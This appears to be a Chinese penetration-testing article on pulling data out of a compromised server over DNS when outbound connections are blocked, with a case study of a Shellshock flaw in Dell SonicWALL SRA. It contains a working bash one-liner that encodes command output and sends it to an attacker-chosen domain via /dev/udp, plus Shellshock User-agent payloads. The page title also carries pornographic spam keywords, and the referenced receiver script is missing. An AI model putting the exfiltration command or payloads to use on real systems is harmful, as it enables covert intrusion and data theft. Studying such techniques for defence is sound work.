压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

如何在滲透測試中利用BASH和DNS下載數據

  在滲透測試過程中,拿到服務器權限之后從服務器下載數據是一件比較費勁的事情,因為服務器一般都有防火墻在前面擋著。防火墻一般都會禁止服務器對外建立連接,這種情況下使用DNS來下載數據是一種行之有效的方法,因為防火墻一般不會禁止對外的DNS查詢,本文中作者將根據一個具體的實例來講解這個方法。

  原理簡述??

  其實已經有一些方法可以搞定這件事情,來將服務器上的數據拖出來,但是存在的問題是,這些既有的方法都需要借助一些Linux上的軟件,而有時候并不是所有環境中都裝了這些軟件。比如我常用A軟件來拖數據,但是如果遇到一臺服務器上沒有這軟件,就白瞎了。所以,本文中使用BASH本身的功能來達到這一目的——通用、好用。

  下面的代碼就是 POC:

  LINE=`id`; domain="yourdomain.com";while read -r -n 1 char;

  do var+=$(printf "%X" '$char');done<<<$LINE;b=0;e=60;l=${#var};

  while [ $b -lt $l ];do >& /dev/udp/$RANDOM.$b."${var:$b:$e}".

  $domain/53 0>&1;let b=b+60;done;>& /dev/udp/$RANDOM.theend.$domain/53

  0>&1;unset var;unset var2

  將上面的 domain 改為你自己的 DNS 服務器地址,LINE 是要執行的系統命令,比如上例中是查看當前id,domain指向你自己的server 地址,用來接受數據。在你自己的 server 上運行下面這段 ruby 腳本:

  dns.rb

  這段腳本用來獲取數據,比如執行下面這段腳本:

  在自己的機器上接受到的數據如下:

  顯然這是一個行之有效的方法,但是,如果你遇到什么問題,可以直接找[原博]跟作者交流。

  一個實際案例

  ??之前我發現Dell SonicWALL Secure Remote Access (SRA)系列軟件有Shellshock漏洞,當在http header中攜帶下面這樣的ua ,server返回的是200 :??

  User-agent: () { :; }; /bin/ls

  但是如果提交包含如下User-agent的請求,server端返回 500 錯誤:

  User-agent: () { :; }; /bin/fake

  當然也可以用下面的User-agent的請求確定,這套軟件確實有漏洞:

  User-agent: () { :; }; /bin/sleep 60

  現在問題來了,在這種情況下,我只能執行命令,卻無法得到回顯,我嘗試了所有對外的鏈接,都被 server 禁止了,只有 DNS 可以用,可以用 telnet 來發起 DNS 請求。在這種情況下,上面我給出的 POC 就變得很有用了,并且非常隱蔽。

  其他

  目前Dell已經修復了這個漏洞,相關信息見:

  https://support.software.dell.com/product-notification/133206?productName=SonicWALL%20SRA%20Series

 

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:2014年度最危險密碼排行榜:“123456”連續四年榮登榜首